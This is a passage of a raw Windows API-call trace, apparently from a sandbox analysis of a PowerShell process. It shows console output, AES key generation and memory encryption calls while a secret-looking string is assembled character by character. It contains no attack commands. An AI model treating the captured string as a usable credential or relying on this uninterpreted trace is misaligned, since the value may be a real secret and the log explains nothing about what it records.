lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0228.616] GetConsoleOutputCP () returned 0x1b5 [0228.616] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0228.616] GetConsoleOutputCP () returned 0x1b5 [0228.617] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0228.617] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0228.618] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0228.618] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24a3a6c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x24a3a6c*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0228.618] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0228.619] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0228.620] EtwEventActivityIdControl () returned 0x0 [0228.620] EtwEventActivityIdControl () returned 0x0 [0228.620] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0228.620] EtwEventActivityIdControl () returned 0x0 [0228.621] EtwEventActivityIdControl () returned 0x0 [0228.621] EtwEventActivityIdControl () returned 0x0 [0228.622] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0228.623] EtwEventActivityIdControl () returned 0x0 [0228.623] EtwEventActivityIdControl () returned 0x0 [0228.623] EtwEventActivityIdControl () returned 0x0 [0228.625] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d320) returned 1 [0228.626] CryptGenKey (in: hProv=0x5c4d320, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99620) returned 1 [0228.626] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0228.626] CryptExportKey (in: hKey=0x5c99620, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0228.626] CryptExportKey (in: hKey=0x5c99620, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24ab438, pdwDataLen=0x5a2e8c4 | out: pbData=0x24ab438*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0228.627] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0228.627] EtwEventActivityIdControl () returned 0x0 [0228.627] EtwEventActivityIdControl () returned 0x0 [0228.627] EtwEventActivityIdControl () returned 0x0 [0228.628] SysStringLen (param_1="") returned 0x8 [0228.628] SysStringLen (param_1="S") returned 0x8 [0228.628] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.629] SysStringLen (param_1="氡贞햘㬒뱐驔歈톹") returned 0x8 [0228.629] SysStringLen (param_1="氡贞햘㬒뱐驔歈톹") returned 0x8 [0228.629] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.629] SysStringLen (param_1="SD") returned 0x8 [0228.629] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.629] SysStringLen (param_1="ꢴ戅㒭ꙣ굏坳ᥦ뮉") returned 0x8 [0228.629] SysStringLen (param_1="ꢴ戅㒭ꙣ굏坳ᥦ뮉") returned 0x8 [0228.629] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.630] SysStringLen (param_1="SDE") returned 0x8 [0228.630] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.630] SysStringLen (param_1="퉕쳼谇됳⻧߻戼") returned 0x8 [0228.630] SysStringLen (param_1="퉕쳼谇됳⻧߻戼") returned 0x8 [0228.630] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.630] SysStringLen (param_1="SDE/") returned 0x8 [0228.630] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.630] SysStringLen (param_1="彀뜣釽膴䋏䓺熅") returned 0x8 [0228.630] SysStringLen (param_1="彀뜣釽膴䋏䓺熅") returned 0x8 [0228.630] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.630] SysStringLen (param_1="SDE/y") returned 0x8 [0228.630] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.631] SysStringLen (param_1="쾨\箅쭔粃圀勝⋦) returned 0x8 [0228.631] SysStringLen (param_1="쾨\箅쭔粃圀勝⋦) returned 0x8 [0228.631] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.631] SysStringLen (param_1="SDE/yZ") returned 0x8 [0228.631] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.631] SysStringLen (param_1="碉䵡䎭馀㳋೦罏") returned 0x8 [0228.631] SysStringLen (param_1="碉䵡䎭馀㳋೦罏") returned 0x8 [0228.631] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.631] SysStringLen (param_1="SDE/yZ6") returned 0x8 [0228.631] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.631] SysStringLen (param_1="벳셱烊먙ቬגּﰩ੓") returned 0x8 [0228.631] SysStringLen (param_1="벳셱烊먙ቬגּﰩ੓") returned 0x8 [0228.631] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.632] SysStringLen (param_1="SDE/yZ6k") returned 0x8 [0228.632] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.632] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑") returned 0x8 [0228.632] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑") returned 0x8 [0228.632] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑") returned 0x8 [0228.632] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑") returned 0x10 [0228.633] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.633] SysStringLen (param_1="SDE/yZ6koﱲꈫ勺꼤阫ສ") returned 0x10 [0228.633] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.633] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑欄剃夬䡫鳍䖮᜙") returned 0x10 [0228.633] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑欄剃夬䡫鳍䖮᜙") returned 0x10 [0228.731] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.732] SysStringLen (param_1="SDE/yZ6kooꈫ勺꼤阫ສ") returned 0x10 [0228.732] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.732] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑\蛛쳛৖ꌡﲋ⥻⺇∍) returned 0x10 [0228.732] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑\蛛쳛৖ꌡﲋ⥻⺇∍) returned 0x10 [0228.732] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.732] SysStringLen (param_1="SDE/yZ6kooE勺꼤阫ສ") returned 0x10 [0228.732] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.732] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑䮓૵뇟윅᷵儏") returned 0x10 [0228.732] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑䮓૵뇟윅᷵儏") returned 0x10 [0228.732] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.732] SysStringLen (param_1="SDE/yZ6kooE3꼤阫ສ") returned 0x10 [0228.732] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.733] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㠜앇혙囡ດⓜ锪") returned 0x10 [0228.733] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㠜앇혙囡ດⓜ锪") returned 0x10 [0228.733] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.733] SysStringLen (param_1="SDE/yZ6kooE3L阫ສ") returned 0x10 [0228.733] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.733] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑䕷픺鎡柇咔傺") returned 0x10 [0228.733] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑䕷픺鎡柇咔傺") returned 0x10 [0228.733] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.733] SysStringLen (param_1="SDE/yZ6kooE3LS阫ສ") returned 0x10 [0228.733] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.733] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑᳂᠊及ᚽᤆ붜偷렼") returned 0x10 [0228.733] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑᳂᠊及ᚽᤆ붜偷렼") returned 0x10 [0228.733] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.734] SysStringLen (param_1="SDE/yZ6kooE3LShສ") returned 0x10 [0228.734] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.734] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑壤ᦓ鰺䈃\샅⋏) returned 0x10 [0228.734] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑壤ᦓ鰺䈃\샅⋏) returned 0x10 [0228.734] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.734] SysStringLen (param_1="SDE/yZ6kooE3LShx") returned 0x10 [0228.734] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.734] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ≇) returned 0x10 [0228.734] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ≇) returned 0x10 [0228.734] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ≇) returned 0x10 [0228.735] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ≇) returned 0x18 [0228.735] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.735] SysStringLen (param_1="SDE/yZ6kooE3LShxg逻ꭙ빧䞙嵈짟訹") returned 0x18 [0228.735] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.735] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ楇ࡈ먁謁䉟ᓶ齼⊌) returned 0x18 [0228.735] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ楇ࡈ먁謁䉟ᓶ齼⊌) returned 0x18 [0228.735] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.735] SysStringLen (param_1="SDE/yZ6kooE3LShxgGꭙ빧䞙嵈짟訹") returned 0x18 [0228.735] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.735] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ뵿銡羘꺩Ậ렅⊫) returned 0x18 [0228.736] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ뵿銡羘꺩Ậ렅⊫) returned 0x18 [0228.736] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.736] SysStringLen (param_1="SDE/yZ6kooE3LShxgGe빧䞙嵈짟訹") returned 0x18 [0228.736] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.736] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ靇钬幪厁ⲿ먶ᨇ᪺∍) returned 0x18 [0228.736] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ靇钬幪厁ⲿ먶ᨇ᪺∍) returned 0x18 [0228.736] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.736] SysStringLen (param_1="SDE/yZ6kooE3LShxgGeE䞙嵈짟訹") returned 0x18 [0228.736] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.736] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺՇ翱岒⚂ﭿ岏᝷폵⋐) returned 0x18 [0228.736] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺՇ翱岒⚂ﭿ岏᝷폵⋐) returned 0x18 [0228.736] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.737] SysStringLen (param_1="SDE/yZ6kooE3LShxgGeEY嵈짟訹") returned 0x18 [0228.737] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.737] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺꝇ戹泈ㅰ铢퍵ᯙ\쏝") returned 0x18 [0228.737] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺꝇ戹泈ㅰ铢퍵ᯙ\쏝") returned 0x18 [0228.737] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.737] SysStringLen (param_1="SDE/yZ6kooE3LShxgGeEY9짟訹") returned 0x18 [0228.737] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.737] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺꝇ잶䲣఼퐌磺\軜ᩎ") returned 0x18 [0228.737] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺꝇ잶䲣఼퐌磺\軜ᩎ") returned 0x18 [0228.737] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.737] SysStringLen (param_1="SDE/yZ6kooE3LShxgGeEY92訹") returned 0x18 [0228.737] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.738] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ嵇茠댆갣横辬鿲罂⋓) returned 0x18 [0228.738] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ嵇茠댆갣横辬鿲罂⋓) returned 0x18 [0228.738] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.738] SysStringLen (param_1="SDE/yZ6kooE3LShxgGeEY92R") returned 0x18 [0228.738] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.738] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮") returned 0x18 [0228.738] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮") returned 0x18 [0228.738] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮") returned 0x18 [0228.738] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮") returned 0x20 [0228.739] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.739] SysStringLen (param_1="SDE/yZ6kooE3LShxgGeEY92Rh꥘ෘ谶꺥嵓ꅕ") returned 0x20 [0228.739] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.739] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮쇫݈䐫鼹혟㖆蘭") returned 0x20 [0228.739] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮쇫݈䐫鼹혟㖆蘭") returned 0x20 [0228.739] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.739] SysStringLen (param_1="SDE/yZ6kooE3LShxgGeEY92Rhyෘ谶꺥嵓ꅕ") returned 0x20 [0228.739] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.739] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮贖ښ僑꺈茌莎暋") returned 0x20 [0228.739] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮贖ښ僑꺈茌莎暋") returned 0x20 [0228.739] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.740] SysStringLen (param_1="SDE/yZ6kooE3LShxgGeEY92Rhyc谶꺥嵓ꅕ") returned 0x20 [0228.740] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.740] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮譨啎ꏑ봩訋\맙䔷≡) returned 0x20 [0228.740] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮譨啎ꏑ봩訋\맙䔷≡) returned 0x20 [0228.740] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.740] SysStringLen (param_1="SDE/yZ6kooE3LShxgGeEY92RhycT꺥嵓ꅕ") returned 0x20 [0228.740] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.740] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮ࡩ᝕꾠Nj켄ㅕр") returned 0x20 [0228.740] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮ࡩ᝕꾠Nj켄ㅕр") returned 0x20 [0228.740] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.740] SysStringLen (param_1="SDE/yZ6kooE3LShxgGeEY92RhycTY꺥嵓ꅕ") returned 0x20 [0228.740] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.740] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮乆蘷䞉⋫擯轃") returned 0x20 [0228.740] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮乆蘷䞉⋫擯轃") returned 0x20 [0228.741] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.741] SysStringLen (param_1="SDE/yZ6kooE3LShxgGeEY92RhycTYE嵓ꅕ") returned 0x20 [0228.741] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.741] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮䃖잗죁綷賯扯鸹꾑") returned 0x20 [0228.741] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮䃖잗죁綷賯扯鸹꾑") returned 0x20 [0228.741] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.741] SysStringLen (param_1="SDE/yZ6kooE3LShxgGeEY92RhycTYEIꅕ") returned 0x20 [0228.741] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.741] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮䴾\\僛ᾊ籸뗾ꥡ") returned 0x20 [0228.741] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮䴾\\僛ᾊ籸뗾ꥡ") returned 0x20 [0228.741] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.742] SysStringLen (param_1="SDE/yZ6kooE3LShxgGeEY92RhycTYEIn") returned 0x20 [0228.742] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.742] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮촳虖隣밽域Ἵ䨊") returned 0x20 [0228.742] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮촳虖隣밽域Ἵ䨊") returned 0x20 [0228.742] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮촳虖隣밽域Ἵ䨊") returned 0x20 [0228.744] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮촳虖隣밽域Ἵ䨊") returned 0x28 [0228.744] SystemFunction041 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.744] SysStringLen (param_1="SDE/yZ6kooE3LShxgGeEY92RhycTYEInS뻃躘۳\⟜乑ㅬ⊇) returned 0x28 [0228.744] SystemFunction040 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.744] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮촳虖隣밽域Ἵ䨊濆탬᱙녁룆킣") returned 0x28 [0228.744] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮촳虖隣밽域Ἵ䨊濆탬᱙녁룆킣") returned 0x28 [0228.744] SystemFunction041 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.745] SysStringLen (param_1="SDE/yZ6kooE3LShxgGeEY92RhycTYEInS1躘۳\⟜乑ㅬ⊇) returned 0x28 [0228.745] SystemFunction040 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.745] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮촳虖隣밽域Ἵ䨊ﭢ삔飙ユ謋֔⪅") returned 0x28 [0228.745] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮촳虖隣밽域Ἵ䨊ﭢ삔飙ユ謋֔⪅") returned 0x28 [0228.745] SystemFunction041 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.745] SysStringLen (param_1="SDE/yZ6kooE3LShxgGeEY92RhycTYEInS13۳\⟜乑ㅬ⊇) returned 0x28 [0228.745] SystemFunction040 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.745] SysStringLen 